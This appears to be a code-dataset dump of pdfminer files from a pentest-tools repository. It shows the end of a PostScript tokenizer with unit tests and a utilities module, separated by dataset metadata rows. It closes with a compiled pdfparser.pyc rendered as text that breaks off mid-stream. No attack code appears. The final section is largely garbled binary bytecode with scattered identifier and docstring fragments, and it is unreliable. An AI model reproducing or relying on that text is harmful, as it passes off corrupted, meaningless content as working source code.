self._parse_literal_hex return j+1 self._add_token(LIT(self._curtoken)) self._parse1 = self._parse_main return j def _parse_literal_hex(self, s, i): c = s[i] if HEX.match(c) and len(self.hex) < 2: self.hex += c return i+1 if self.hex: self._curtoken += chr(int(self.hex, 16)) self._parse1 = self._parse_literal return i def _parse_number(self, s, i): m = END_NUMBER.search(s, i) if not m: self._curtoken += s[i:] return len(s) j = m.start(0) self._curtoken += s[i:j] c = s[j] if c == '.': self._curtoken += c self._parse1 = self._parse_float return j+1 try: self._add_token(int(self._curtoken)) except ValueError: pass self._parse1 = self._parse_main return j def _parse_float(self, s, i): m = END_NUMBER.search(s, i) if not m: self._curtoken += s[i:] return len(s) j = m.start(0) self._curtoken += s[i:j] try: self._add_token(float(self._curtoken)) except ValueError: pass self._parse1 = self._parse_main return j def _parse_keyword(self, s, i): m = END_KEYWORD.search(s, i) if not m: self._curtoken += s[i:] return len(s) j = m.start(0) self._curtoken += s[i:j] if self._curtoken == 'true': token = True elif self._curtoken == 'false': token = False else: token = KWD(self._curtoken) self._add_token(token) self._parse1 = self._parse_main return j def _parse_string(self, s, i): m = END_STRING.search(s, i) if not m: self._curtoken += s[i:] return len(s) j = m.start(0) self._curtoken += s[i:j] c = s[j] if c == '\\': self.oct = '' self._parse1 = self._parse_string_1 return j+1 if c == '(': self.paren += 1 self._curtoken += c return j+1 if c == ')': self.paren -= 1 if self.paren: # WTF, they said balanced parens need no special treatment. self._curtoken += c return j+1 self._add_token(self._curtoken) self._parse1 = self._parse_main return j+1 def _parse_string_1(self, s, i): c = s[i] if OCT_STRING.match(c) and len(self.oct) < 3: self.oct += c return i+1 if self.oct: self._curtoken += chr(int(self.oct, 8)) self._parse1 = self._parse_string return i if c in ESC_STRING: self._curtoken += chr(ESC_STRING[c]) self._parse1 = self._parse_string return i+1 def _parse_wopen(self, s, i): c = s[i] if c == '<': self._add_token(KEYWORD_DICT_BEGIN) self._parse1 = self._parse_main i += 1 else: self._parse1 = self._parse_hexstring return i def _parse_wclose(self, s, i): c = s[i] if c == '>': self._add_token(KEYWORD_DICT_END) i += 1 self._parse1 = self._parse_main return i def _parse_hexstring(self, s, i): m = END_HEX_STRING.search(s, i) if not m: self._curtoken += s[i:] return len(s) j = m.start(0) self._curtoken += s[i:j] token = HEX_PAIR.sub(lambda m: chr(int(m.group(0), 16)), SPC.sub('', self._curtoken)) self._add_token(token) self._parse1 = self._parse_main return j def nexttoken(self): while not self._tokens: self.fillbuf() self.charpos = self._parse1(self.buf, self.charpos) token = self._tokens.pop(0) if 2 <= self.debug: print >>sys.stderr, 'nexttoken: %r' % (token,) return token ## PSStackParser ## class PSStackParser(PSBaseParser): def __init__(self, fp): PSBaseParser.__init__(self, fp) self.reset() return def reset(self): self.context = [] self.curtype = None self.curstack = [] self.results = [] return def seek(self, pos): PSBaseParser.seek(self, pos) self.reset() return def push(self, *objs): self.curstack.extend(objs) return def pop(self, n): objs = self.curstack[-n:] self.curstack[-n:] = [] return objs def popall(self): objs = self.curstack self.curstack = [] return objs def add_results(self, *objs): if 2 <= self.debug: print >>sys.stderr, 'add_results: %r' % (objs,) self.results.extend(objs) return def start_type(self, pos, type): self.context.append((pos, self.curtype, self.curstack)) (self.curtype, self.curstack) = (type, []) if 2 <= self.debug: print >>sys.stderr, 'start_type: pos=%r, type=%r' % (pos, type) return def end_type(self, type): if self.curtype != type: raise PSTypeError('Type mismatch: %r != %r' % (self.curtype, type)) objs = [ obj for (_,obj) in self.curstack ] (pos, self.curtype, self.curstack) = self.context.pop() if 2 <= self.debug: print >>sys.stderr, 'end_type: pos=%r, type=%r, objs=%r' % (pos, type, objs) return (pos, objs) def do_keyword(self, pos, token): return def nextobject(self): """Yields a list of objects. Returns keywords, literals, strings, numbers, arrays and dictionaries. Arrays and dictionaries are represented as Python lists and dictionaries. """ while not self.results: (pos, token) = self.nexttoken() #print (pos,token), (self.curtype, self.curstack) if (isinstance(token, int) or isinstance(token, float) or isinstance(token, bool) or isinstance(token, str) or isinstance(token, PSLiteral)): # normal token self.push((pos, token)) elif token == KEYWORD_ARRAY_BEGIN: # begin array self.start_type(pos, 'a') elif token == KEYWORD_ARRAY_END: # end array try: self.push(self.end_type('a')) except PSTypeError: if STRICT: raise elif token == KEYWORD_DICT_BEGIN: # begin dictionary self.start_type(pos, 'd') elif token == KEYWORD_DICT_END: # end dictionary try: (pos, objs) = self.end_type('d') if len(objs) % 2 != 0: raise PSSyntaxError('Invalid dictionary construct: %r' % objs) # construct a Python dictionary. d = dict( (literal_name(k), v) for (k,v) in choplist(2, objs) if v is not None ) self.push((pos, d)) except PSTypeError: if STRICT: raise elif token == KEYWORD_PROC_BEGIN: # begin proc self.start_type(pos, 'p') elif token == KEYWORD_PROC_END: # end proc try: self.push(self.end_type('p')) except PSTypeError: if STRICT: raise else: if 2 <= self.debug: print >>sys.stderr, 'do_keyword: pos=%r, token=%r, stack=%r' % \ (pos, token, self.curstack) self.do_keyword(pos, token) if self.context: continue else: self.flush() obj = self.results.pop(0) if 2 <= self.debug: print >>sys.stderr, 'nextobject: %r' % (obj,) return obj ## Simplistic Test cases ## import unittest class TestPSBaseParser(unittest.TestCase): TESTDATA = r'''%!PS begin end " @ # /a/BCD /Some_Name /foo#5f#xbaa 0 +1 -2 .5 1.234 (abc) () (abc ( def ) ghi) (def\040\0\0404ghi) (bach\\slask) (foo\nbaa) (this % is not a comment.) (foo baa) (foo\ baa) <> <20> < 40 4020 > <abcd00 12345> func/a/b{(c)do*}def [ 1 (z) ! ] << /foo (bar) >> ''' TOKENS = [ (5, KWD('begin')), (11, KWD('end')), (16, KWD('"')), (19, KWD('@')), (21, KWD('#')), (23, LIT('a')), (25, LIT('BCD')), (30, LIT('Some_Name')), (41, LIT('foo_xbaa')), (54, 0), (56, 1), (59, -2), (62, 0.5), (65, 1.234), (71, 'abc'), (77, ''), (80, 'abc ( def ) ghi'), (98, 'def \x00 4ghi'), (118, 'bach\\slask'), (132, 'foo\nbaa'), (143, 'this % is not a comment.'), (170, 'foo\nbaa'), (180, 'foobaa'), (191, ''), (194, ' '), (199, '@@ '), (211, '\xab\xcd\x00\x124\x05'), (226, KWD('func')), (230, LIT('a')), (232, LIT('b')), (234, KWD('{')), (235, 'c'), (238, KWD('do*')), (241, KWD('}')), (242, KWD('def')), (246, KWD('[')), (248, 1), (250, 'z'), (254, KWD('!')), (256, KWD(']')), (258, KWD('<<')), (261, LIT('foo')), (266, 'bar'), (272, KWD('>>')) ] OBJS = [ (23, LIT('a')), (25, LIT('BCD')), (30, LIT('Some_Name')), (41, LIT('foo_xbaa')), (54, 0), (56, 1), (59, -2), (62, 0.5), (65, 1.234), (71, 'abc'), (77, ''), (80, 'abc ( def ) ghi'), (98, 'def \x00 4ghi'), (118, 'bach\\slask'), (132, 'foo\nbaa'), (143, 'this % is not a comment.'), (170, 'foo\nbaa'), (180, 'foobaa'), (191, ''), (194, ' '), (199, '@@ '), (211, '\xab\xcd\x00\x124\x05'), (230, LIT('a')), (232, LIT('b')), (234, ['c']), (246, [1, 'z']), (258, {'foo': 'bar'}), ] def get_tokens(self, s): import StringIO class MyParser(PSBaseParser): def flush(self): self.add_results(*self.popall()) parser = MyParser(StringIO.StringIO(s)) r = [] try: while 1: r.append(parser.nexttoken()) except PSEOF: pass return r def get_objects(self, s): import StringIO class MyParser(PSStackParser): def flush(self): self.add_results(*self.popall()) parser = MyParser(StringIO.StringIO(s)) r = [] try: while 1: r.append(parser.nextobject()) except PSEOF: pass return r def test_1(self): tokens = self.get_tokens(self.TESTDATA) print tokens self.assertEqual(tokens, self.TOKENS) return def test_2(self): objs = self.get_objects(self.TESTDATA) print objs self.assertEqual(objs, self.OBJS) return if __name__ == '__main__': unittest.main()
19,563
Python
.py
601
23.096506
100
0.506979
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,814
utils.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/utils.py
#!/usr/bin/env python2 """ Miscellaneous Routines. """ import struct from sys import maxint as INF ## Matrix operations ## MATRIX_IDENTITY = (1, 0, 0, 1, 0, 0) def mult_matrix((a1,b1,c1,d1,e1,f1), (a0,b0,c0,d0,e0,f0)): """Returns the multiplication of two matrices.""" return (a0*a1+c0*b1, b0*a1+d0*b1, a0*c1+c0*d1, b0*c1+d0*d1, a0*e1+c0*f1+e0, b0*e1+d0*f1+f0) def translate_matrix((a,b,c,d,e,f), (x,y)): """Translates a matrix by (x,y).""" return (a,b,c,d,x*a+y*c+e,x*b+y*d+f) def apply_matrix_pt((a,b,c,d,e,f), (x,y)): """Applies a matrix to a point.""" return (a*x+c*y+e, b*x+d*y+f) def apply_matrix_norm((a,b,c,d,e,f), (p,q)): """Equivalent to apply_matrix_pt(M, (p,q)) - apply_matrix_pt(M, (0,0))""" return (a*p+c*q, b*p+d*q) ## Utility functions ## # uniq def uniq(objs): """Eliminates duplicated elements.""" done = set() for obj in objs: if obj in done: continue done.add(obj) yield obj return # csort def csort(objs, key): """Order-preserving sorting function.""" idxs = dict( (obj,i) for (i,obj) in enumerate(objs) ) return sorted(objs, key=lambda obj:(key(obj), idxs[obj])) # fsplit def fsplit(pred, objs): """Split a list into two classes according to the predicate.""" t = [] f = [] for obj in objs: if pred(obj): t.append(obj) else: f.append(obj) return (t,f) # drange def drange(v0, v1, d): """Returns a discrete range.""" assert v0 < v1 return xrange(int(v0)/d, int(v1+d-1)/d) # get_bound def get_bound(pts): """Compute a minimal rectangle that covers all the points.""" (x0, y0, x1, y1) = (INF, INF, -INF, -INF) for (x,y) in pts: x0 = min(x0, x) y0 = min(y0, y) x1 = max(x1, x) y1 = max(y1, y) return (x0,y0,x1,y1) # pick def pick(seq, func, maxobj=None): """Picks the object obj where func(obj) has the highest value.""" maxscore = None for obj in seq: score = func(obj) if maxscore is None or maxscore < score: (maxscore,maxobj) = (score,obj) return maxobj # choplist def choplist(n, seq): """Groups every n elements of the list.""" r = [] for x in seq: r.append(x) if len(r) == n: yield tuple(r) r = [] return # nunpack def nunpack(s, default=0): """Unpacks 1 to 4 byte integers (big endian).""" l = len(s) if not l: return default elif l == 1: return ord(s) elif l == 2: return struct.unpack('>H', s)[0] elif l == 3: return struct.unpack('>L', '\x00'+s)[0] elif l == 4: return struct.unpack('>L', s)[0] else: raise TypeError('invalid length: %d' % l) # decode_text PDFDocEncoding = ''.join( unichr(x) for x in ( 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0006, 0x0007, 0x0008, 0x0009, 0x000a, 0x000b, 0x000c, 0x000d, 0x000e, 0x000f, 0x0010, 0x0011, 0x0012, 0x0013, 0x0014, 0x0015, 0x0017, 0x0017, 0x02d8, 0x02c7, 0x02c6, 0x02d9, 0x02dd, 0x02db, 0x02da, 0x02dc, 0x0020, 0x0021, 0x0022, 0x0023, 0x0024, 0x0025, 0x0026, 0x0027, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c, 0x002d, 0x002e, 0x002f, 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038, 0x0039, 0x003a, 0x003b, 0x003c, 0x003d, 0x003e, 0x003f, 0x0040, 0x0041, 0x0042, 0x0043, 0x0044, 0x0045, 0x0046, 0x0047, 0x0048, 0x0049, 0x004a, 0x004b, 0x004c, 0x004d, 0x004e, 0x004f, 0x0050, 0x0051, 0x0052, 0x0053, 0x0054, 0x0055, 0x0056, 0x0057, 0x0058, 0x0059, 0x005a, 0x005b, 0x005c, 0x005d, 0x005e, 0x005f, 0x0060, 0x0061, 0x0062, 0x0063, 0x0064, 0x0065, 0x0066, 0x0067, 0x0068, 0x0069, 0x006a, 0x006b, 0x006c, 0x006d, 0x006e, 0x006f, 0x0070, 0x0071, 0x0072, 0x0073, 0x0074, 0x0075, 0x0076, 0x0077, 0x0078, 0x0079, 0x007a, 0x007b, 0x007c, 0x007d, 0x007e, 0x0000, 0x2022, 0x2020, 0x2021, 0x2026, 0x2014, 0x2013, 0x0192, 0x2044, 0x2039, 0x203a, 0x2212, 0x2030, 0x201e, 0x201c, 0x201d, 0x2018, 0x2019, 0x201a, 0x2122, 0xfb01, 0xfb02, 0x0141, 0x0152, 0x0160, 0x0178, 0x017d, 0x0131, 0x0142, 0x0153, 0x0161, 0x017e, 0x0000, 0x20ac, 0x00a1, 0x00a2, 0x00a3, 0x00a4, 0x00a5, 0x00a6, 0x00a7, 0x00a8, 0x00a9, 0x00aa, 0x00ab, 0x00ac, 0x0000, 0x00ae, 0x00af, 0x00b0, 0x00b1, 0x00b2, 0x00b3, 0x00b4, 0x00b5, 0x00b6, 0x00b7, 0x00b8, 0x00b9, 0x00ba, 0x00bb, 0x00bc, 0x00bd, 0x00be, 0x00bf, 0x00c0, 0x00c1, 0x00c2, 0x00c3, 0x00c4, 0x00c5, 0x00c6, 0x00c7, 0x00c8, 0x00c9, 0x00ca, 0x00cb, 0x00cc, 0x00cd, 0x00ce, 0x00cf, 0x00d0, 0x00d1, 0x00d2, 0x00d3, 0x00d4, 0x00d5, 0x00d6, 0x00d7, 0x00d8, 0x00d9, 0x00da, 0x00db, 0x00dc, 0x00dd, 0x00de, 0x00df, 0x00e0, 0x00e1, 0x00e2, 0x00e3, 0x00e4, 0x00e5, 0x00e6, 0x00e7, 0x00e8, 0x00e9, 0x00ea, 0x00eb, 0x00ec, 0x00ed, 0x00ee, 0x00ef, 0x00f0, 0x00f1, 0x00f2, 0x00f3, 0x00f4, 0x00f5, 0x00f6, 0x00f7, 0x00f8, 0x00f9, 0x00fa, 0x00fb, 0x00fc, 0x00fd, 0x00fe, 0x00ff, )) def decode_text(s): """Decodes a PDFDocEncoding string to Unicode.""" if s.startswith('\xfe\xff'): return unicode(s[2:], 'utf-16be', 'ignore') else: return ''.join( PDFDocEncoding[ord(c)] for c in s ) # enc def enc(x, codec='ascii'): """Encodes a string for SGML/XML/HTML""" x = x.replace('&','&amp;').replace('>','&gt;').replace('<','&lt;').replace('"','&quot;') return x.encode(codec, 'xmlcharrefreplace') def bbox2str((x0,y0,x1,y1)): return '%.3f,%.3f,%.3f,%.3f' % (x0, y0, x1, y1) def matrix2str((a,b,c,d,e,f)): return '[%.2f,%.2f,%.2f,%.2f, (%.2f,%.2f)]' % (a,b,c,d,e,f) ## ObjIdRange ## class ObjIdRange(object): "A utility class to represent a range of object IDs." def __init__(self, start, nobjs): self.start = start self.nobjs = nobjs return def __repr__(self): return '<ObjIdRange: %d-%d>' % (self.get_start_id(), self.get_end_id()) def get_start_id(self): return self.start def get_end_id(self): return self.start + self.nobjs - 1 def get_nobjs(self): return self.nobjs ## Plane ## ## A data structure for objects placed on a plane. ## Can efficiently find objects in a certain rectangular area. ## It maintains two parallel lists of objects, each of ## which is sorted by its x or y coordinate. ## class Plane(object): def __init__(self, objs=None, gridsize=50): self._objs = {} self.gridsize = gridsize if objs is not None: for obj in objs: self.add(obj) return def __repr__(self): return ('<Plane objs=%r>' % list(self)) def _getrange(self, (x0,y0,x1,y1)): for y in drange(y0, y1, self.gridsize): for x in drange(x0, x1, self.gridsize): yield (x,y) return # add(obj): place an object in a certain area. def add(self, obj): for k in self._getrange((obj.x0, obj.y0, obj.x1, obj.y1)): if k not in self._objs: r = [] self._objs[k] = r else: r = self._objs[k] r.append(obj) return # find(): finds objects that are in a certain area. def find(self, (x0,y0,x1,y1)): r = set() for k in self._getrange((x0,y0,x1,y1)): if k not in self._objs: continue for obj in self._objs[k]: if obj in r: continue r.add(obj) if (obj.x1 <= x0 or x1 <= obj.x0 or obj.y1 <= y0 or y1 <= obj.y0): continue yield obj return # create_bmp def create_bmp(data, bits, width, height): info = struct.pack('<IiiHHIIIIII', 40, width, height, 1, bits, 0, len(data), 0, 0, 0, 0) assert len(info) == 40, len(info) header = struct.pack('<ccIHHI', 'B', 'M', 14+40+len(data), 0, 0, 14+40) assert len(header) == 14, len(header) # XXX re-rasterize every line return header+info+data
7,991
Python
.py
218
30.880734
92
0.611154
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,815
pdfparser.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/pdfparser.pyc
—Ú Œ »Mc@sddkZddkZddkZyddkZWnej oddkZnXyddklZWn#ej oddklZnXddkl Z ddkl Z l Z ddkl Z ddkl Z lZlZddklZlZlZddklZlZdd klZlZdd klZlZlZdd klZlZlZlZdd kl Z dd k!l"Z"l#Z#ddk!l$Z$l%Z%defdÑÉYZ&de&fdÑÉYZ'defdÑÉYZ(defdÑÉYZ)defdÑÉYZ*de*fdÑÉYZ+e dÉZ,e dÉZ-e dÉZ.e dÉZ/e dÉZ0d e1fd!ÑÉYZ2d"e2fd#ÑÉYZ3d$e2fd%ÑÉYZ4d&e1fd'ÑÉYZ5d(e1fd)ÑÉYZ6d*e fd+ÑÉYZ7d,e7fd-ÑÉYZ8dS(.iˇˇˇˇN(tStringIO(t PSStackParser(t PSSyntaxErrortPSEOF(t literal_name(tLITtKWDtSTRICT(t PDFExceptiont PDFTypeErrortPDFNotImplementedError(t PDFStreamt PDFObjRef(tresolve1t decipher_all(t int_valuet float_valuet num_value(t str_valuet list_valuet dict_valuet stream_value(tArcfour(tchoplisttnunpack(t decode_textt ObjIdRangetPDFSyntaxErrorcBseZRS((t__name__t __module__(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRstPDFNoValidXRefcBseZRS((RR(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRst PDFNoOutlinescBseZRS((RR(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRstPDFDestinationNotFoundcBseZRS((RR(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR stPDFEncryptionErrorcBseZRS((RR(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR!!stPDFPasswordIncorrectcBseZRS((RR(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR""stObjStmtXReftPagetPagestCatalogt PDFBaseXRefcBs#eZdÑZdÑZdÑZRS(cCs tÇdS(N(tNotImplementedError(tself((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt get_trailer0scCsgS(N((R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt get_objids3scCst|ÉÇdS(N(tKeyError(R*tobjid((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pytget_pos6s(RRR+R,R/(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR(.s  tPDFXRefcBsheZdÑZddÑZedÉZdÑZeidÉZ ddÑZ dÑZ dÑZ d ÑZ RS( cCsh|_h|_dS(N(toffsetsttrailer(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt__init__>s  ic Cs(xÌy*|iÉ\}}|iÉpwnWntj otdÉÇnX|ptd|ÉÇn|idÉo|i|ÉPn|iÉidÉ}t|Édjotd||fÉÇnytt |É\}}Wn)t j otd||fÉÇnXx◊t |||ÉD]¬}y|iÉ\} }Wntj otdÉÇnX|iÉidÉ}t|Édjotd ||fÉÇn|\}} } | d joq'nt | Ét |Éf|i |<q'Wqd |jotid I|i IJn|i|ÉdS( Ns Unexpected EOF - file corrupted?sPremature eof: %rR2t isTrailer not found: %r: line=%rsInvalid line: %r: line=%ris Invalid XRef format: %r, line=%rtnis xref objects:(tnextlinetstripRRt startswithtseektsplittlentmaptlongt ValueErrortxrangetintR1tsyststderrt load_trailer( R*tparsertdebugtpostlinetftstarttnobjsR.t_tgennotuse((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pytloadCsH   &  R2cCs•y?|iÉ\}}||ijptÇ|iÉ\}}WnItj o=|idÉ}|ptdÉÇn|d\}}nX|iit |ÉÉdS(NisUnexpected EOF - file corruptedi( t nexttokentKEYWORD_TRAILERtAssertionErrort nextobjectRtpopRR2tupdateR(R*RDRKtkwdtdictx((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRCgss^(\d+)\s+(\d+)\s+obj\bcCsÊ|idÉx“y|iÉ\}}Wntj oPnX|idÉoG|i|É|i|Éd|jotid|iÉIJnPn|ii |É}|pqn|i É\}}d|f|i t |É<qdS(NiR2is trailer: %r( R9R6RR8RCRARBR+t PDFOBJ_CUEtmatchtgroupsR1R@(R*RDRERFRGtmR.RL((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt load_fallbackus$    cCs|iS(N(R2(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR+àscCs |iiÉS(N(R1titerkeys(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR,ãscCs:y|i|\}}Wntj o ÇnXd|fS(N(R1R-tNone(R*R.RLRF((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR/és (RRR3RNRRPRCtretcompileRXR\R+R,R/(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR0<s  #     t PDFXRefStreamcBsAeZdÑZdÑZddÑZdÑZdÑZdÑZRS(cCs6d|_d|_d|_|_|_g|_dS(N(R^tdatatentlentfl1tfl2tfl3t objid_ranges(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR3ös    cCsd|i|i|ifS(Ns <PDFXRefStream: fields=%d,%d,%d>(RdReRf(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt__repr__°sic Csá|iÉ\}}|iÉ\}}|iÉ\}}|iÉ\}}t|tÉ p|dtj otdÉÇn|d}|idd|fÉ} t| ÉddjotdÉÇn|i i dÑt d| ÉDÉÉ|d \|_ |_ |_|iÉ|_|i |i |i|_|i|_d |jo?tid d itt|i ÉÉ|i |i |ifIJndS( NtTypesInvalid PDF stream spec.tSizetIndexiisInvalid index numbercss(x!|]\}}t||ÉVqWdS(N(R(t.0RIRJ((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pys <genexpr>Øs tWis&xref stream: objid=%s, fields=%d,%d,%ds, (RORRt isinstanceR t LITERAL_XREFRtgetR;RRgtextendRRdReRftget_dataRbRctattrsR2RARBtjoinR<trepr( R*RDRERKR.RLRUtstreamtsizet index_array((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRN§s*"    cCs|iS(N(R2(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR+ªsccsGx@|iD]5}x,t|iÉ|iÉdÉD] }|Vq0Wq WdS(Ni(RgR?t get_start_idt get_end_id(R*t objid_rangeRW((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR,æs    c Cszd}t}xf|iD][}||iÉjo2||iÉjo|||iÉ7}t}Pq||iÉ7}qW|pt|ÉÇn|i|}|i|||i!}t ||i dÉ}|djoEt ||i |i |i !É}t ||i |i É} d|fS|djoEt ||i |i |i !É}t ||i |i É} || fSt|ÉÇdS(Niii( tFalseRgRyRztTruet get_nobjsR-RcRbRRdReR^( R*R.toffsettfoundR{titenttf1RFRLtindex((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR/ƒs. &       (RRR3RhRNR+R,R/(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRaòs      tPDFPagecBs eZdZdÑZdÑZRS(s!An object that holds the information about a page. A PDFPage object is merely a convenience class that has a set of keys and values, which describe the properties of a page and point to its contents. Attributes: doc: a PDFDocument object. pageid: any Python object that can uniquely identify the page. attrs: a dictionary of page attributes. contents: a list of PDFStream objects that represents the page content. lastmod: the last modified time of the page. resources: a list of resources used by the page. mediabox: the physical size of the page. cropbox: the crop rectangle of the page. rotate: the page rotation (in degree). annots: the page annotations. beads: a chain that represents natural reading order. cCs?||_||_t|É|_t|iidÉÉ|_t|idÉ|_t|idÉ|_d|ijot|idÉ|_ n |i|_ |iiddÉdd|_ |iidÉ|_ |iid É|_ d |ijot|id É}ng}t |tÉp |g}n||_d S( s≈Initialize a page object. doc: a PDFDocument object. pageid: any Python object that can uniquely identify the page. attrs: a dictionary of page attributes. t LastModifiedt ResourcestMediaBoxtCropBoxtRotateiihtAnnotstBtContentsN(tdoctpageidRRsR Rptlastmodt resourcestmediaboxtcropboxtrotatetannotstbeadsRntlisttcontents(R*RéRèRsRò((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR3ˆs&      cCsd|i|ifS(Ns$<PDFPage: Resources=%r, MediaBox=%r>(RëRí(R*((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRhs(RRt__doc__R3Rh(((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRÖ‡s t PDFDocumentcBsïeZdZdZedÑZdÑZdZddÑZdÑZ e dÉZ d ÑZ e d d d d gÉZdÑZdÑZdÑZdÑZRS(sÄPDFDocument object represents a PDF document. Since a PDF file can be very big, normally it is not loaded at once. So PDF document has to cooperate with a PDF parser in order to dynamically import the data as processing goes. Typical usage: doc = PDFDocument() doc.set_parser(parser) doc.initialize(password) obj = doc.getobj(objid) icCsU||_g|_g|_d|_d|_d|_d|_h|_h|_ dS(N( tcachingtxrefstinfoR^tcatalogt encryptiontdeciphert_parsert _cached_objst _parsed_objs(R*Rõ((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR3+s         cCs|iodS||_|iÉ|_xª|iD]§}|iÉ}|pq1nd|jo't|dÉt|dÉf|_nd|jo|iit|dÉÉnd|jot|dÉ|_ Pq1q1Wt dÉÇ|i i dÉt j ot ot dÉÇqndS( s1Set the document to use a given PDFParser object.NtEncrypttIDtInfotRoots(No /Root object! - Is this really a PDF?RisCatalog not found!(R°t read_xrefRúR+RRRüRùtappendRûRRptLITERAL_CATALOGR(R*RDtxrefR2((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt set_parser7s,          s (øN^NuäAdNVˇ˙..∂–h>Ä/ ©˛dSiztc sY|ipt|_|_|_dS|i\}}t|idÉÉdjotd|ÉÇnt|iddÉÉ}|djp |djptd|ÉÇnt|id d ÉÉ}t |d É}t|d É}d |jotd|ÉÇnt |dÉ}t|dÉ} t | d@É|_t | d@É|_t | d@É|_||i d }t i |É} | i |É| i tid| ÉÉ| i |dÉd|jotdÉÇnd|jo8x5tdÉD]#} t i | iÉ|d É} qÎWn| iÉ|d } |djot| Éi|i É} n¨|djoût i |i É} | i |dÉt| Éi| iÉd É}xKtddÉD]:âdiáfdÜ| DÉÉ}t|Éi|É}q≤W||} n|djo| |j}n| d |d j}|p tÇn| |_|i|_dS(NtFiltertStandardsUnknown filter: param=%rtViiisUnknown algorithm: param=%rtLengthi(tOtRisUnknown revision: %rtUtPiiii s<ls.Revision 4 encryption is currently unsupportedii2iR≠c3s)x"|]}tt|ÉàAÉVqWdS(N(tchrtord(Rltc(RÅ(s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pys <genexpr>És i(RüR}t is_printablet is_modifiabletis_extractableRRpR!RRtbooltPASSWORD_PADDINGtmd5RTtstructtpackR R?tdigestRtprocessRtR"t decrypt_keyt decrypt_rc4R†(R*tpasswordtdocidtparamR∞tlengthR≤R≥R¥RµthashRKtkeytu1RWtktis_authenticated((RÅs</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt initializeXsd      %      cCsr|itid|Éd tid|Éd }ti|É}|iÉtt|ÉdÉ }t|Éi|ÉS(Ns<Liii( R√RøR¿RæR¡tminR;RR¬(R*R.RLRbR R…((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRƒês1tobjcCs|iptdÉÇnd|ijotid|IJn||ijod}|i|}náx`|iD]6}y|i|É\}}PWqptj oqpXqpWtot d|ÉÇndS|oüt |i |ÉÉ}|i dÉtj otot d|ÉÇqny|d}Wn4tj o(tot d |ÉÇnd}nX||ijo|i|} nÄt|iÉÉ} | i|Ég} y)x"| iÉ\} }| i|Éq´Wntj onX|io| |i|<nd}|d|} y| | }Wn#tj ot d |ÉÇnXt|tÉo|i|dÉq¶n8|ii|É|iiÉ\} } |iiÉ\} }|iiÉ\} }| |jocg}x7||ij o&|iiÉ\} }|i|Éq‘W|o|d } |d }q.n||ij ot d |ÉÇny=|iiÉ\} }t|tÉo|i||ÉnWntj odSXd|ijotid||fIJn|io||i|<n|iot |i|||É}n|S(NsPDFDocument is not initializedisgetobj: objid=%risCannot locate objid=%rRisNot a stream object: %rtNsN is not defined: %rsInvalid object number: objid=%ri˛ˇˇˇiˇˇˇˇsInvalid object spec: offset=%rsregister: objid=%r: %r(!RúRRERARBR¢R/R-RRR^RtgetobjRptLITERAL_OBJSTMR£tPDFStreamParserRrt set_documentRRR©RRõt IndexErrorRnR t set_objidR°R9ROt KEYWORD_OBJR†R(R*R.RLR–R´tstrmidRÑRvR5tobjsRDRKRÅtobjid1RURW((s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyR“ósö          RáRàRâRäc#sÄàiptdÉÇnááfdÜâdàijodSx8ààidàiÉD]\}}tà||ÉVq[WdS(NsPDFDocument is not initializedc3spt|tÉo%|}tài|ÉÉiÉ}n|i}t|ÉiÉ}xE|iÉD]7\}}|àijo||jo|||<q]q]W|idÉt jotd|jogdài jot i d|dIJnxÖt |dÉD]%}xà||ÉD] }|Vq WqıWnK|idÉtjo4dài jot i d|IJn||fVndS(NRitKidsisPages: Kids=%rsPage: %r(RnR@RR“tcopyR.t iteritemstINHERITABLE_ATTRSRpt LITERAL_PAGESRERARBRt LITERAL_PAGE(R–tparentR.ttreeRÃtvR∏RW(R*tsearch(s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyRÂs*  #R&(RúRRûRÖ(R*RèR„((RÂR*s</pentest/enumeration/google/metagoofil/pdfminer/pdfparser.pyt 